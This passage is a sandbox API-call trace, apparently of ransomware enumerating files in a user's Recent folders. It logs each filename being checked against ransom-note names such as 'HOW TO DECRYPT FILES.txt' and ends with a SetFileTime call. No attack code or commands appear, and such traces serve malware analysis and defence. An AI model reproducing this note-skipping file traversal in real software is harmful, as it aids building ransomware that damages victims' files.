lpString2="7e4dca80246863e3.automaticDestinations-ms") returned -1 [0088.698] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms") returned="1b4dd67f29cb1962.automaticDestinations-ms" [0088.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0088.699] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="" [0088.699] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x6e0069, dwReserved1=0x740061, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0088.699] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eb282ead62b4db87.automaticDestinations-ms") returned -1 [0088.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eb282ead62b4db87.automaticDestinations-ms") returned 1 [0088.700] lstrcmpiA (lpString1="", lpString2="eb282ead62b4db87.automaticDestinations-ms") returned -1 [0088.700] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned="7e4dca80246863e3.automaticDestinations-ms" [0088.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0088.700] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="" [0088.700] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x6e0069, dwReserved1=0x740061, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 0 [0088.700] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.700] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ec260, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe31ec260, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe32123c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1b8c, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b8xL5z1M6 10.lnk", cAlternateFileName="B8XL5Z~1.LNK")) returned 1 [0088.700] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.700] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="b8xL5z1M6 10.lnk") returned 1 [0088.700] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="b8xL5z1M6 10.lnk") returned 1 [0088.700] lstrcmpiA (lpString1="", lpString2="b8xL5z1M6 10.lnk") returned -1 [0088.700] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*") returned="*.*" [0088.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.700] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.701] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25b91a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe25b91a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe25b91a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2271, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="bBxw7hnbv9GpMjf0lDS.mkv.lnk", cAlternateFileName="BBXW7H~1.LNK")) returned 1 [0088.701] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bBxw7hnbv9GpMjf0lDS.mkv.lnk") returned 1 [0088.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bBxw7hnbv9GpMjf0lDS.mkv.lnk") returned 1 [0088.701] lstrcmpiA (lpString1="", lpString2="bBxw7hnbv9GpMjf0lDS.mkv.lnk") returned -1 [0088.701] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\b8xL5z1M6 10.lnk") returned="b8xL5z1M6 10.lnk" [0088.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.701] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.701] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6f11780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f11780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f11780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a24, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="BDl0a4Av.lnk", cAlternateFileName="")) returned 1 [0088.701] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BDl0a4Av.lnk") returned 1 [0088.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BDl0a4Av.lnk") returned 1 [0088.701] lstrcmpiA (lpString1="", lpString2="BDl0a4Av.lnk") returned -1 [0088.701] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bBxw7hnbv9GpMjf0lDS.mkv.lnk") returned="bBxw7hnbv9GpMjf0lDS.mkv.lnk" [0088.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.701] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.702] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e1f320, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3e1f320, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3e1f320, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="bhRzbqbvnWs7N.lnk", cAlternateFileName="BHRZBQ~1.LNK")) returned 1 [0088.702] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bhRzbqbvnWs7N.lnk") returned 1 [0088.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bhRzbqbvnWs7N.lnk") returned 1 [0088.702] lstrcmpiA (lpString1="", lpString2="bhRzbqbvnWs7N.lnk") returned -1 [0088.702] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BDl0a4Av.lnk") returned="BDl0a4Av.lnk" [0088.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.702] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.702] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41b1420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe41b1420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe41b1420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x331, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="bWm7yXwRTGkfT-or.flv.lnk", cAlternateFileName="BWM7YX~1.LNK")) returned 1 [0088.702] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bWm7yXwRTGkfT-or.flv.lnk") returned 1 [0088.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bWm7yXwRTGkfT-or.flv.lnk") returned 1 [0088.702] lstrcmpiA (lpString1="", lpString2="bWm7yXwRTGkfT-or.flv.lnk") returned -1 [0088.702] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bhRzbqbvnWs7N.lnk") returned="bhRzbqbvnWs7N.lnk" [0088.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.702] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.703] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25b91a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3c562a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3c562a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1abb, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="CDFQwtzSXD.lnk", cAlternateFileName="CDFQWT~1.LNK")) returned 1 [0088.703] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CDFQwtzSXD.lnk") returned 1 [0088.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CDFQwtzSXD.lnk") returned 1 [0088.703] lstrcmpiA (lpString1="", lpString2="CDFQwtzSXD.lnk") returned -1 [0088.703] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bWm7yXwRTGkfT-or.flv.lnk") returned="bWm7yXwRTGkfT-or.flv.lnk" [0088.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.703] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.703] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e22b80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6f11780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6f11780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13bc, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="CISS89zR13oJxpNgy.lnk", cAlternateFileName="CISS89~1.LNK")) returned 1 [0088.703] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CISS89zR13oJxpNgy.lnk") returned 1 [0088.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CISS89zR13oJxpNgy.lnk") returned 1 [0088.703] lstrcmpiA (lpString1="", lpString2="CISS89zR13oJxpNgy.lnk") returned -1 [0088.703] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CDFQwtzSXD.lnk") returned="CDFQwtzSXD.lnk" [0088.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.703] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.704] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="CmWiFndgcjOUEL.mkv.lnk", cAlternateFileName="CMWIFN~1.LNK")) returned 1 [0088.704] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CmWiFndgcjOUEL.mkv.lnk") returned 1 [0088.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CmWiFndgcjOUEL.mkv.lnk") returned 1 [0088.704] lstrcmpiA (lpString1="", lpString2="CmWiFndgcjOUEL.mkv.lnk") returned -1 [0088.704] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CISS89zR13oJxpNgy.lnk") returned="CISS89zR13oJxpNgy.lnk" [0088.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.704] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.704] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e0dea0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e0dea0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2e34000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf0f, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="COBqL9w 4CZUgthS.ots.lnk", cAlternateFileName="COBQL9~1.LNK")) returned 1 [0088.704] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="COBqL9w 4CZUgthS.ots.lnk") returned 1 [0088.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="COBqL9w 4CZUgthS.ots.lnk") returned 1 [0088.704] lstrcmpiA (lpString1="", lpString2="COBqL9w 4CZUgthS.ots.lnk") returned -1 [0088.704] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CmWiFndgcjOUEL.mkv.lnk") returned="CmWiFndgcjOUEL.mkv.lnk" [0088.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.705] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.705] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0088.705] lstrcmpA (lpString1=".", lpString2="CustomDestinations") returned -1 [0088.705] lstrcmpA (lpString1="..", lpString2="CustomDestinations") returned -1 [0088.705] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\COBqL9w 4CZUgthS.ots.lnk") returned="COBqL9w 4CZUgthS.ots.lnk" [0088.705] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x52d5fe, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0088.707] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.707] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0088.707] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.707] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.707] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0088.707] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.707] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1b4dd67f29cb1962.customDestinations-ms") returned 1 [0088.707] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1b4dd67f29cb1962.customDestinations-ms") returned 1 [0088.707] lstrcmpiA (lpString1="", lpString2="1b4dd67f29cb1962.customDestinations-ms") returned -1 [0088.707] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.*") returned="*.*" [0088.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.708] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.711] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.711] CloseHandle (hObject=0x9c) returned 1 [0088.712] 